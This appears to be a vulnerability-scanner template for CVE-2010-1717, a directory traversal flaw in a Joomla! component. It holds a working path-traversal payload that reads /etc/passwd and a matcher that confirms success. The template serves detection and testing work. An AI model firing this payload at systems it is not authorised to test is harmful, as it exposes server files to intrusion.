id: CVE-2010-1717 info: name: Joomla! Component iF surfALERT 1.2 - Local File Inclusion author: daffainfo severity: high description: A directory traversal vulnerability in the iF surfALERT (com_if_surfalert) component 1.2 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php. reference: - https://www.exploit-db.com/exploits/12291 - https://nvd.nist.gov/vuln/detail/CVE-2010-1717 - http://web.archive.org/web/20140805095004/http://secunia.com/advisories/39526/ - http://www.vupen.com/english/advisories/2010/0924 classification: cve-id: CVE-2010-1717 tags: cve2010,joomla,lfi,edb,cve requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_if_surfalert&controller=../../../../../../../../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # Enhanced by mp on 2022/03/01